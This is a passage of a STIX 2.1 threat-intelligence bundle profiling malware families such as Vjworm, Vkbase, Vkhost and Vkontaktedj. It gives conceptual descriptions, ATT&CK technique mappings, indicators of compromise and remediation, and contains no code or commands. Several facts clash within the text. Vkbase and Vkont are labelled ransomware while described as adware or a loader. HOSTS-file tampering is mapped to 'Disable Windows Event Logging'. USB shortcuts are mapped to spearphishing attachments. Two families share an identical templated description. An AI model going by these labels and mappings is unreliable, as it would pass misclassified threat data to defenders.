      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c08e4721-1347-5c82-a77c-038083212c4f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixup exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c3f9604a-f7b7-5cdd-8749-6a4012612669",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vjworm",
      "description": "Worm:VBS/Vjworm (and its variants like JS/Vjworm) is a highly aggressive, self-propagating worm written in scripting languages (Visual Basic Script or JavaScript). Its defining characteristic is its heavy reliance on Removable Media (USB drives) for propagation (`T1091`), making it a significant threat to air-gapped or poorly segmented operational technology (OT) environments.<br><br><b>Understanding VJWorm</b><br>To an end-user, an infection often starts when they plug in an infected USB drive; their legitimate files appear to have vanished, replaced by 'shortcuts' that look like their folders. For a security team, VJWorm is a highly visible, persistent nuisance that indicates a failure in USB device control policies. While primarily a worm, it also functions as a backdoor, allowing the attacker to download additional payloads or steal data.<br><br><b>Execution and Propagation Mechanics</b><br>VJWorm is distributed initially via malicious downloads or spam, but its primary vector is lateral movement via USB. When a clean USB drive is inserted into an infected machine, VJWorm copies its heavily obfuscated script file (often `.vbs`, `.js`, or `.wsf`) to the drive. Crucially, it then hides all legitimate files and folders on the USB drive (`T1564.001`) and creates Windows Shortcut (`.lnk`) files (`T1566.001`) with the same names as the hidden folders. When a user on a *new* machine clicks the shortcut to open their 'folder', the shortcut actually executes the VJWorm script via `wscript.exe`, infects the new host, and *then* opens the legitimate folder to avoid suspicion. It establishes persistence on the host via the Registry Run keys.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from significant operational disruption (network congestion, hidden files) to data exfiltration via the backdoor capability. Host-based IoCs include EDR alerts for `wscript.exe` or `cscript.exe` executing from suspicious locations (like the root of a USB drive or `%AppData%`), and the presence of suspicious `.lnk` files on removable media. Network IoCs include the script reaching out to dynamic DNS domains for C2 instructions. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vjworm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vjworm"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41a483c6-32c9-5f6a-ad5b-37dd27c362da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3f9604a-f7b7-5cdd-8749-6a4012612669",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vjworm exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism via USB))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81fa68c0-7ed1-5f7b-aae5-371e8f587287",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3f9604a-f7b7-5cdd-8749-6a4012612669",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vjworm exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (Execution of the payload via wscript))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc15f2d0-65e3-5d33-b77d-99f43a43e0d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3f9604a-f7b7-5cdd-8749-6a4012612669",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vjworm exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding the victim's legitimate files on the USB))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9adeaa02-b549-5e86-a2bd-a7c8cf4333fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3f9604a-f7b7-5cdd-8749-6a4012612669",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vjworm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (Host persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3fee24b8-c461-5087-8e0d-6c48ecae7bf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vkbase",
      "description": "<h3>Executive Summary</h3>\nVKbase is a specialized Trojan and Adware family designed explicitly to target and abuse users of the VKontakte (VK) social media network, which is highly popular in Russia and Eastern Europe. The malware operates by hijacking user sessions, manipulating social media accounts for spam distribution, and covertly harvesting login credentials.\n\n<h3>Infection Vector and Exploitation Mechanics</h3>\nVKbase is typically distributed via deceptive software bundling, malicious browser extensions masquerading as \"VK music downloaders,\" or via targeted phishing campaigns distributed directly through the VK messaging platform.\n\nOnce active on a user's system, VKbase executes its specific abuse routines:\n<ul>\n<li><strong>Session Hijacking:</strong> The malware actively searches installed web browsers for active session cookies associated with `vk.com`. It utilizes these cookies to hijack the user's authenticated session without requiring their plaintext password.</li>\n<li><strong>Account Abuse and Spam:</strong> Once the session is hijacked, VKbase utilizes the victim's account to autonomously post malicious links, join specific groups to artificially inflate subscriber counts, and \"Like\" targeted content, acting as a pawn in a social media botnet.</li>\n<li><strong>Credential Harvesting:</strong> Many variants of VKbase also incorporate keylogging functionality or fake login overlays specifically designed to capture the user's plaintext VKontakte username and password if the session cookie expires.</li>\n</ul>\n\n<h3>Security and Privacy Implications</h3>\nWhile highly targeted at a specific platform, VKbase represents a significant threat to user privacy and account integrity. Compromised social media accounts are frequently utilized by threat actors to distribute more severe malware (like ransomware or info-stealers) to the victim's trusted network of friends and colleagues.\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>Session Revocation and Password Reset:</strong> The immediate priority is to log out of all active sessions from within the VKontakte security settings, completely invalidating the stolen session cookies. Following this, an immediate password reset is required.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect all installed web browsers and forcefully remove any suspicious or unverified extensions, particularly those claiming to offer enhanced VK functionality.</li>\n<li><strong>Endpoint Scanning:</strong> Utilize an enterprise-grade endpoint security solution to perform a full system scan to remove the underlying VKbase executable and any persistence mechanisms it established in the Windows Registry.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.VKbase",
        "Adware.VKbase",
        "Spyware.VKbase"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vkbase",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vkbase"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d094413-6b7f-5b42-9524-a89933fb1327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fee24b8-c461-5087-8e0d-6c48ecae7bf7",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkbase exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--801e722a-5308-5bdb-a0d8-a5ec6cfbc6bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fee24b8-c461-5087-8e0d-6c48ecae7bf7",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkbase exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae7a4187-3d79-5ca6-af25-7b9bb1fa86c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fee24b8-c461-5087-8e0d-6c48ecae7bf7",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkbase exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d51928d-deae-5758-a3bc-20d2551b35ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vkdj",
      "description": "Trojan:Win32/Vkdj is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vkdj</b><br>To an end-user, a Vkdj infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vkdj is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vkdj is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vkdj frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vkdj reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vkdj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vkdj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71a41117-515f-5043-894b-750fadb7f5b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d51928d-deae-5758-a3bc-20d2551b35ab",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkdj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c31532b0-f8e8-50b8-8b8f-4529ca2891cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d51928d-deae-5758-a3bc-20d2551b35ab",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkdj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f2dc435-3741-5e0e-9c00-ade9da3632f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d51928d-deae-5758-a3bc-20d2551b35ab",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkdj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cdf17a0-8c4b-5ff0-810c-a0a61e50e480",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d51928d-deae-5758-a3bc-20d2551b35ab",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkdj exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa88a943-5bc0-58ed-9156-a78f30774d61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d51928d-deae-5758-a3bc-20d2551b35ab",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkdj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--665e8a75-0481-55a3-9598-d306fc3b794b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vkhost",
      "description": "Trojan:Win32/Vkhost is a specialized trojan and browser hijacker designed specifically to target users of 'VKontakte' (VK), the massively popular Russian social media platform. Its primary objective is to forcibly redirect the user's browser traffic intended for the legitimate VK site to phishing pages or servers controlled by the attacker, usually to steal login credentials or propagate spam.<br><br><b>Understanding Vkhost (Social Media Hijackers)</b><br>To an end-user, the infection becomes apparent when they attempt to log into `vk.com`. They may be presented with a fake login page that looks identical to the real one, or they may be served aggressive advertisements instead of their news feed. For a security analyst, this malware demonstrates the persistent abuse of local DNS resolution files (`T1562.002`) to bypass network-level security controls.<br><br><b>Execution and Hijacking Mechanics</b><br>Vkhost is typically distributed via deceptive software bundles, fake browser updates, or malicious links shared on social media. Upon execution, the malware requires administrative privileges. Its core functionality is incredibly simple but highly effective: it modifies the Windows `HOSTS` file (`C:\\Windows\\System32\\drivers\\etc\\hosts`). By adding entries mapping `vk.com` and related domains to a malicious IP address, the malware intercepts the DNS resolution process at the host level (`T1562.002`). When the user types `vk.com`, the browser connects to the attacker's server instead of the legitimate VK infrastructure. It often establishes persistence via Registry Run keys (`T1547.001`) to ensure the HOSTS file entries are re-injected if the user attempts to remove them.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the theft of the user's social media identity, leading to potential secondary phishing attacks against their network. Host-based IoCs are definitive: EDR alerts for a process modifying the `HOSTS` file, and the presence of entries in the `HOSTS` file routing `vk.com` to unknown IP addresses. Network IoCs include the browser attempting to establish an HTTPS connection to the malicious IP, which will often result in a certificate error (as the attacker's server cannot present a valid SSL certificate for `vk.com`). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vkhost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vkhost"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55347a4c-0df7-5e75-b15c-bf6dba39da37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--665e8a75-0481-55a3-9598-d306fc3b794b",
      "target_ref": "attack-pattern--f662d7a7-98b1-57cb-bcf6-5fc8d645bd99",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkhost exhibits technique T1562.002 (Impair Defenses: Disable Windows Event Logging (Modifying the HOSTS file to redirect traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d17aeca-7766-5196-bedf-25c607f8ea70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--665e8a75-0481-55a3-9598-d306fc3b794b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkhost exhibits technique T1112 (Modify Registry (Establishing persistence to protect the HOSTS file modifications))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f796538-4db0-5228-8085-de0fcd785b73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--665e8a75-0481-55a3-9598-d306fc3b794b",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkhost exhibits technique T1056.002 (Input Capture: GUI Input Capture (Stealing credentials via the phishing overlay))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4664e6d-fcea-5e60-9b57-784262a42628",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vkont",
      "description": "Trojan:Win32/Vkont is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vkont</b><br>To an end-user, a Vkont infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vkont is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vkont is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vkont frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vkont reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vkont",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vkont"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5b57c18-5b79-5533-82fc-d9e1d7a6cc41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4664e6d-fcea-5e60-9b57-784262a42628",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkont exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b5ae0d4-9670-526f-b17a-c3943fec8d55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4664e6d-fcea-5e60-9b57-784262a42628",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkont exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0625bb42-bc99-5cf5-8c30-f7df39bdea55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4664e6d-fcea-5e60-9b57-784262a42628",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkont exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adb24c5d-0535-5246-bf7d-16d1fbde5f4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4664e6d-fcea-5e60-9b57-784262a42628",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkont exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f663cc6-4521-5528-9991-691bbf8b1837",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4664e6d-fcea-5e60-9b57-784262a42628",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkont exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3bde9014-55d0-55d2-96ca-1b8bf00b42b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vkontaktedj",
      "description": "VKontakteDJ (classified across antivirus vendors under designations including PUA:Win32/VKontakteDJ, Adware:Win32/VKontakteDJ, and Program:Win32/VKontakteDJ) is a Potentially Unwanted Application and media downloader adware bundled with third-party software installers targeting Russian and Eastern European users. While marketed as a utility for downloading audio and video tracks from VKontakte (VK), VKontakteDJ installs unwanted background components, alters web browser homepage and search engine settings, injects commercial advertisements into browsing sessions, and installs hidden background update services that establish persistent autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. The software collects user device information, browsing habits, and search telemetry to monetize advertising networks. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/VKontakteDJ",
        "Adware:Win32/VKontakteDJ",
        "Program:Win32/VKontakteDJ",
        "VKontakteDJ Downloader",
        "Win32/VKontakteDJ"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vkontaktedj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vkontaktedj"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2aa86aaa-f17d-52eb-afcd-04b42f1f3541",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bde9014-55d0-55d2-96ca-1b8bf00b42b7",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkontaktedj exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--070ccd92-5afb-5b21-ae78-a5f28f60b75e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bde9014-55d0-55d2-96ca-1b8bf00b42b7",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkontaktedj exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--423e6ce8-bb28-5b32-8503-26947c4fbc04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bde9014-55d0-55d2-96ca-1b8bf00b42b7",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkontaktedj exhibits technique T1546 (Event Triggered Execution: Browser Shortcut Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89a94c5f-75dd-5e85-8060-cbff3cb273d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bde9014-55d0-55d2-96ca-1b8bf00b42b7",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkontaktedj exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf2def62-593b-5302-9612-de9a28b971d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bde9014-55d0-55d2-96ca-1b8bf00b42b7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vkontaktedj exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35b18acf-3ed3-51dc-b6a3-2140d1498668",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vmjfbex4Hpjj",
      "description": "<h3>Executive Summary</h3>\n\"vmjfbex4hpjj\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> vmjfbex4hpjj typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and 